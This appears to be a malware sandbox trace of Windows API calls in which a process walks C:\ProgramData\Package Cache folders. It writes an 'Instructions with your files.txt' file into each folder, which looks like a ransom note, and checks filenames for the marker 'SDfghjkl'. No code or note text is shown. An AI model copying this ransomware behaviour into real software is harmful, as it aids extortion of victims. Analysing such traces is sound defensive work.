[0126.335] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0126.336] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0126.336] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0126.336] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0126.336] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0126.336] CloseHandle (hObject=0x118) returned 1
[0126.337] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0126.337] GetProcessHeap () returned 0x810000
[0126.337] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x89ac08 | out: hHeap=0x810000) returned 1
[0126.337] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0
[0126.337] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Instructions with your files.txt") returned 121
[0126.337] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0126.341] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0126.342] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0126.342] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0126.342] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0126.342] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0126.343] CloseHandle (hObject=0x114) returned 1
[0126.343] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0126.343] GetProcessHeap () returned 0x810000
[0126.343] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0126.343] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0
[0126.343] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Instructions with your files.txt") returned 115
[0126.343] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0126.343] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0126.344] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0126.344] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0126.344] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0126.344] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0126.344] CloseHandle (hObject=0x110) returned 1
[0126.344] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0126.344] GetProcessHeap () returned 0x810000
[0126.344] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0126.345] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0126.345] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Instructions with your files.txt") returned 106
[0126.345] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0126.345] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0126.346] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0126.346] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0126.346] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0126.346] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0126.346] CloseHandle (hObject=0x10c) returned 1
[0126.346] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0126.346] GetProcessHeap () returned 0x810000
[0126.346] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0126.346] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1
[0126.346] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 82
[0126.346] GetProcessHeap () returned 0x810000
[0126.346] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0126.346] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*") returned 84
[0126.346] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0126.347] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\.") returned 84
[0126.347] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.347] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\..") returned 85
[0126.347] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0126.347] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned 91
[0126.347] GetProcessHeap () returned 0x810000
[0126.347] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0126.347] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*") returned 93
[0126.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0126.348] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\.") returned 93
[0126.348] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.348] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\..") returned 94
[0126.348] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1
[0126.348] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned 112
[0126.348] GetProcessHeap () returned 0x810000
[0126.348] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0126.348] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*") returned 114
[0126.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0126.349] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\.") returned 114
[0126.349] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.349] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\..") returned 115
[0126.349] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0126.349] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 121
[0126.349] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0126.349] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0126.349] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned 138
[0126.349] StrStrIW (lpFirst="vc_runtimeMinimum_x86.msi", lpSrch="SDfghjkl") returned 0x0
[0126.349] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0126.349] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\Instructions with your files.txt") returned 145
[0126.349] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0126.351] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0126.351] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0126.352] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0126.352] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0126.352] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0126.352] CloseHandle (hObject=0x114) returned 1
[0126.352] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0126.352] GetProcessHeap () returned 0x810000
[0126.352] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0126.352] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
[0126.352] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\Instructions with your files.txt") returned 124
[0126.352] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0126.353] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0126.353] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0126.354] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0126.354] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0126.354] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0126.354] CloseHandle (hObject=0x110) returned 1
[0126.354] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0126.354] GetProcessHeap () returned 0x810000
[0126.354] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
